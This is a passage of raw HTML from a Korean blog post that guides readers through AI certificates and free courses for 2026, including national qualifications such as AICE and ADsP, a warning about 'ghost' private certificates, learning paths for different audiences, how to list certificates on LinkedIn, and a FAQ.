&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;국가공인:&lt;/b&gt; Associate 등급이 AI 분야 최초이자 유일한 국가공인자격 (2024년 12월 과기정통부 공인, 2025년 2월 첫 국가공인 시험 시행)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;평가 방식:&lt;/b&gt; 100% 실기 평가 (빅데이터 해석, AI 활용능력, 실사례 기반 문제해결)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;채용 우대 기관 (200개+):&lt;/b&gt; KT그룹, HD현대중공업, 신한은행, 하나은행, 삼성생명, 한국전력공사, 국민건강보험공단, 한국철도공사 등 (출처: 한국경제 2025.11 보도)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;법적 지위:&lt;/b&gt; 자격기본법에 따라 국가자격과 동등, 채용&amp;middot;승진 가점 부여 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;URL:&lt;/b&gt; &lt;a style=&quot;color: #6a1b9a;&quot; href=&quot;https://aice.study/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;aice.study&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- ADsP --&gt;
&lt;div style=&quot;background-color: #f3e5f5; border-left: 4px solid #9c27b0; padding: 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #6a1b9a; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;ADsP (데이터분석 준전문가) &amp;mdash; 응시자 다수, 대학생 필수 스펙&lt;/h4&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;주관:&lt;/b&gt; 한국데이터산업진흥원&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;현황:&lt;/b&gt; 응시자 다수 (언론 보도 기반 추정, 공식 통계는 dataq.or.kr에서 확인), 합격률 약 64~68%&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;2026년 일정:&lt;/b&gt; 제48회(2월), 제49회(5월) 등 연 4회 시행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;활용:&lt;/b&gt; 데이터 분석&amp;middot;마케팅&amp;middot;기획&amp;middot;IT 직무 서류 스펙, 공기업 가산점&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;난이도:&lt;/b&gt; 비전공자 독학&amp;middot;온라인 강의로 취득 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;URL:&lt;/b&gt; &lt;a style=&quot;color: #6a1b9a;&quot; href=&quot;https://www.dataq.or.kr/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;dataq.or.kr&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 빅데이터분석기사 --&gt;
&lt;div style=&quot;background-color: #f3e5f5; border-left: 4px solid #9c27b0; padding: 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #6a1b9a; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;빅데이터분석기사 &amp;mdash; 공공/금융권 채용 가점&lt;/h4&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;시행:&lt;/b&gt; 한국데이터산업진흥원 (접수: Q-Net)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;2026년 일정:&lt;/b&gt; 상반기(12회), 하반기(13회) 연 2회&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;합격률:&lt;/b&gt; 필기 약 60%, 실기 약 50%&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;활용:&lt;/b&gt; 공공기관&amp;middot;금융권 채용 가점&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e3f2fd; border-left: 4px solid #2196f3; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;국가공인 vs 글로벌 수료증 &amp;mdash; 둘 다 필요한 이유&lt;/b&gt;&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 12px 0; font-size: 13px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #e3f2fd;&quot;&gt;
&lt;th style=&quot;padding: 8px; border: 1px solid #90caf9; text-align: left;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 8px; border: 1px solid #90caf9; text-align: left;&quot;&gt;국가공인 (AICE 등)&lt;/th&gt;
&lt;th style=&quot;padding: 8px; border: 1px solid #90caf9; text-align: left;&quot;&gt;글로벌 수료증 (Anthropic/Google 등)&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #90caf9;&quot;&gt;&lt;b&gt;국내 채용 가점&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #90caf9;&quot;&gt;가점 부여&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #90caf9;&quot;&gt;포트폴리오 보완 용도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9ff;&quot;&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #90caf9;&quot;&gt;&lt;b&gt;비용&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #90caf9;&quot;&gt;시험 응시료 유료&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #90caf9;&quot;&gt;대부분 무료&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #90caf9;&quot;&gt;&lt;b&gt;글로벌 인정&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #90caf9;&quot;&gt;국내 한정&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #90caf9;&quot;&gt;글로벌 통용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9ff;&quot;&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #90caf9;&quot;&gt;&lt;b&gt;추천 대상&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #90caf9;&quot;&gt;공기업&amp;middot;대기업 지원자&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #90caf9;&quot;&gt;글로벌&amp;middot;스타트업 지원자&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5: AI 유령 자격증 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. AI 유령 자격증 주의 &amp;mdash; 42.2%는 시험 한 번도 없다&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #ffeeba; border-left: 5px solid #dc3545; padding: 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;반드시 알아야 할 경고&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;한국경제 2026년 3월 보도에 따르면, &lt;b&gt;AI 관련 민간자격증 중 42.2%가 시험을 한 번도 실시하지 않은 &quot;유령 자격증&quot;&lt;/b&gt;이다. 전체 민간자격 등록 건수가 2022년 5,572개에서 2025년 7,369개로 폭발적으로 늘었는데 (AI 명칭 포함 자격만 따지면 24건&amp;rarr;326건으로 13배 이상 증가), 이 중 상당수가 수익 목적의 교육 상품 마케팅 수단에 불과하다.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;유령 자격증 피하는 법&lt;/h3&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;pqi.or.kr에서 등록 여부 확인&lt;/b&gt;&lt;br /&gt;한국직업능력개발원 민간자격정보서비스(pqi.or.kr)에서 자격 명칭으로 검색하면 등록 여부, 주관기관, 검정 실시 횟수를 확인할 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;국가공인 여부 확인&lt;/b&gt;&lt;br /&gt;&quot;AI OO 자격증&quot;처럼 공식 명칭과 유사한 이름을 쓰는 경우가 많다. AICE처럼 과학기술정보통신부 국가공인 인정을 받지 않았다면 민간자격이다. (민간자격 등록&amp;middot;관리: 한국직업능력개발원)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;응시자 수와 합격 통계 확인&lt;/b&gt;&lt;br /&gt;수만 명이 응시하는 ADsP나 빅데이터분석기사와 달리, 유령 자격증은 공개 통계가 없거나 응시자가 매우 적다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;글로벌 공식 수료증 vs 국내 민간자격 비교&lt;/b&gt;&lt;br /&gt;Anthropic, Google, IBM처럼 글로벌 빅테크의 공식 수료증은 인지도가 높고, 발급 기관이 명확하며, 무료이다. 유료 민간자격증보다 실제 취업에서 더 인정받을 수 있다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6: 대상별 추천 경로 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 대상별 추천 학습 경로&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;상황과 목표에 따라 최적 경로가 다르다. 자신의 상황을 찾아보자.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;A. 취준생 / 이직 준비자 &amp;mdash; &quot;이력서에 당장 쓸 수 있는 스펙 확보&quot;&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt; 서류 통과율 향상, LinkedIn 프로필 강화&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Anthropic Academy &amp;mdash; Claude 101&lt;/b&gt; (1시간, 무료 수료증 + LinkedIn 즉시 등록)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;IBM SkillsBuild &amp;mdash; AI Fundamentals&lt;/b&gt; (10시간, Credly 배지 발급)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Google Cloud Skills Boost &amp;mdash; Introduction to Generative AI&lt;/b&gt; (무료, Skill Badge)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;AICE Associate&lt;/b&gt; 취득 준비 (국가공인, 채용 가점)&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주의:&lt;/b&gt; 자격증보다 포트폴리오가 더 크게 평가되는 시대다. 수료증 수집에만 그치지 말고 실제 프로젝트를 만드는 것이 더 중요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;B. 현직 개발자 &amp;mdash; &quot;실무에 AI 적용, 포트폴리오 프로젝트 만들기&quot;&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt; AI 에이전트 개발 역량, 실무 도입&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Anthropic Academy &amp;mdash; Building with the Claude API + MCP 코스&lt;/b&gt; (API 실무 + 에이전트 연동)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Hugging Face &amp;mdash; Agents Course + MCP Course&lt;/b&gt; (오픈소스 에이전트 구축)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;LangChain Academy&lt;/b&gt; (LangGraph 에이전트 아키텍처)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;NVIDIA DLI &amp;mdash; RAG 코스&lt;/b&gt; (RAG +2,047% 채용 수요 대응)&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;C. 비개발자 / 직장인 리스킬링 &amp;mdash; &quot;AI 도구 활용 능력으로 업무 경쟁력 높이기&quot;&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt; 현 직무에 AI 통합, AI 시대 생존 역량&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Anthropic Academy &amp;mdash; Claude 101 + AI Fluency: Framework &amp;amp; Foundations&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Google AI Essentials&lt;/b&gt; (Coursera, Financial Aid로 무료 가능, Google 공식 수료증)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Microsoft Copilot Studio Agent Academy&lt;/b&gt; (사무 환경 AI 에이전트 구축)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;DeepLearning.AI &amp;mdash; AI for Everyone&lt;/b&gt; (Andrew Ng, Coursera 감사 청강 무료 / 수료증 $49)&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;D. 대학생 / 부트캠프 지원 준비 &amp;mdash; &quot;스펙 + 심화 교육 병행&quot;&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt; 네이버 부스트캠프&amp;middot;SSAFY&amp;middot;AIVLE 입학 준비, 포트폴리오&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;ADsP 취득&lt;/b&gt; (대학생 필수 스펙, 합격률 약 64~68%)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Hugging Face &amp;mdash; LLM Course&lt;/b&gt; (부스트캠프 준비 기초)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Anthropic Academy &amp;mdash; Claude Code + API 코스&lt;/b&gt; (개발자 심화)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;네이버 부스트캠프 프리코스&lt;/b&gt; (boostcourse.org, 무료)&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: LinkedIn 등록 방법 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. LinkedIn에 수료증 등록하는 법&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;LinkedIn에 따르면 자격증 보유 회원의 프로필 조회수는 평균 6배 높다 (LinkedIn 공식 블로그, 2014). 등록 방법은 간단하다.&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;수료증 취득:&lt;/b&gt; 해당 플랫폼(Anthropic Academy, IBM SkillsBuild 등)에서 코스 완료 후 수료증/배지 다운로드&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;LinkedIn 프로필 접속:&lt;/b&gt; 프로필 &amp;rarr; &quot;Add profile section&quot; &amp;rarr; &quot;Recommended&quot; &amp;rarr; &quot;Add licenses &amp;amp; certifications&quot; 클릭&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;정보 입력:&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0 20px; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;b&gt;Name:&lt;/b&gt; 코스/자격증 이름 (예: &quot;Claude 101&quot;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;b&gt;Issuing Organization:&lt;/b&gt; Anthropic / IBM / Google 등&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;b&gt;Issue Date:&lt;/b&gt; 수료 월&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;b&gt;Credential URL:&lt;/b&gt; 수료증 링크 (있는 경우)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;Credly 배지의 경우:&lt;/b&gt; Credly 계정에서 LinkedIn 연동 버튼을 클릭하면 자동으로 등록된다.&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;LinkedIn 등록 가능 수료증 목록&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Anthropic Academy&lt;/b&gt; &amp;mdash; 공식 수료증 URL 직접 등록 가능&lt;br /&gt;&lt;b&gt;IBM SkillsBuild&lt;/b&gt; &amp;mdash; Credly 배지 연동으로 자동 등록&lt;br /&gt;&lt;b&gt;Google Cloud Skills Boost&lt;/b&gt; &amp;mdash; Skill Badge, LinkedIn 공유 기능 내장&lt;br /&gt;&lt;b&gt;NVIDIA DLI&lt;/b&gt; &amp;mdash; 수료증 URL 등록 가능&lt;br /&gt;&lt;b&gt;AWS 인증&lt;/b&gt; &amp;mdash; 합격 시 Credly 배지 발급&lt;br /&gt;&lt;b&gt;Hugging Face / LangChain / DeepLearning.AI&lt;/b&gt; &amp;mdash; 수료증 이미지 활용, 비공식&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8: FAQ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 자주 묻는 질문 (FAQ)&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 15px;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. Anthropic Academy 수료증이 취업에 실제로 도움이 되나요?&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;직접적인 채용 가점보다는 &lt;b&gt;&quot;AI 역량을 스스로 갖추려는 의지&quot;의 증거&lt;/b&gt;로 작용한다. 특히 LinkedIn 프로필에 등록 시 리크루터 검색에 노출되고, 면접에서 구체적인 학습 내용을 이야기할 수 있는 소재가 된다. 국내 공기업&amp;middot;대기업 서류 가점을 원한다면 AICE같은 국가공인 자격증을 별도로 취득해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 15px;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. Anthropic Academy 코스가 영어인데 비영어권 사람도 들을 수 있나요?&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 기준 영어로만 제공된다. 하지만 기술 영어가 어렵지 않고, 브라우저의 자동 번역 기능을 활용하면 충분히 학습 가능하다. Claude 101과 AI Fluency 시리즈는 코딩 없이도 수강할 수 있어 영어에 익숙하지 않은 분들도 도전해 볼 만하다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 15px;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. 여러 수료증 중 무엇을 먼저 따야 할까요?&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;비개발자:&lt;/b&gt; Anthropic Academy &amp;mdash; Claude 101 (1시간, 즉시 수료증) &amp;rarr; IBM SkillsBuild &amp;mdash; AI Fundamentals&lt;br /&gt;&lt;b&gt;개발자:&lt;/b&gt; Anthropic Academy &amp;mdash; Claude API 코스 &amp;rarr; Hugging Face &amp;mdash; Agents Course&lt;br /&gt;&lt;b&gt;취준생:&lt;/b&gt; ADsP (국가공인 스펙) + Anthropic Academy (글로벌 수료증) 병행&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 15px;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. AWS Certified AI Practitioner 시험은 어렵나요? 한국어 가능한가요?&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Foundational 레벨로 입문 난이도다. &lt;b&gt;한국어 시험이 가능&lt;/b&gt;하며, AWS Skill Builder 무료 코스로 커리큘럼에 따라 약 7~30시간 학습 후 응시한다 (  학습 시간은 개인차가 크므로 추정치). 시험비는 $100이며, 불합격 시 무료 재시험 프로모션이 기간 한정으로 제공될 수 있으니 공식 사이트에서 확인하자.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 15px;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. K-디지털 트레이닝이 2026년부터 유료화됐다는데 사실인가요?&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;2025년 12월 개강 과정까지는 전액 국비지원이었으나, 2026년 1월 이후 개강 과정부터는 자기부담금이 발생할 수 있다. 단, 내일배움카드 상황과 과정에 따라 다르므로 &lt;b&gt;HRD-Net&lt;/b&gt;에서 개별 과정 확인이 필요하다. 무료 대안으로는 SSAFY (삼성 주관&amp;middot;고용노동부 후원, 월 100만원 교육지원금), 네이버 부스트캠프 AI Tech (무료), KT AIVLE School (국비지원) 등이 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 결론 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 AI 채용 시장은 &quot;자격증이 있냐&quot;보다 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;실제로 AI를 쓸 수 있냐&quot;&lt;/b&gt;&lt;/span&gt;를 본다. 그럼에도 수료증은 배움의 증거이자 커리어의 첫 발판이아닐까? 싶다.&lt;/p&gt;
&lt;!-- 바로 시작하기 박스 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 20px;&quot;&gt;&lt;b&gt;바로 시작하기&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;무료 수료증&lt;/b&gt;&lt;br /&gt;&amp;bull; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://anthropic.skilljar.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic Academy&lt;/a&gt; &amp;mdash; Claude, MCP, API, 에이전트 (13개 수료증)&lt;br /&gt;&amp;bull; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://huggingface.co/learn&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hugging Face&lt;/a&gt; &amp;mdash; LLM, 에이전트, MCP, 비전, 오디오 (다수 코스)&lt;br /&gt;&amp;bull; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://academy.langchain.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;LangChain Academy&lt;/a&gt; &amp;mdash; AI 에이전트, LangGraph&lt;br /&gt;&amp;bull; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://skillsbuild.org&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;IBM SkillsBuild&lt;/a&gt; &amp;mdash; AI Fundamentals, Credly 배지 (1,000+ 코스)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;클라우드 AI + 공식 배지&lt;/b&gt;&lt;br /&gt;&amp;bull; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.cloudskillsboost.google&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Google Cloud Skills Boost&lt;/a&gt; &amp;mdash; Generative AI, Skill Badge 다수&lt;br /&gt;&amp;bull; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://skillbuilder.aws&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AWS Skill Builder&lt;/a&gt; &amp;mdash; 600+ 무료 코스, AI Practitioner 자격증&lt;br /&gt;&amp;bull; &lt;a style=&quot;color: 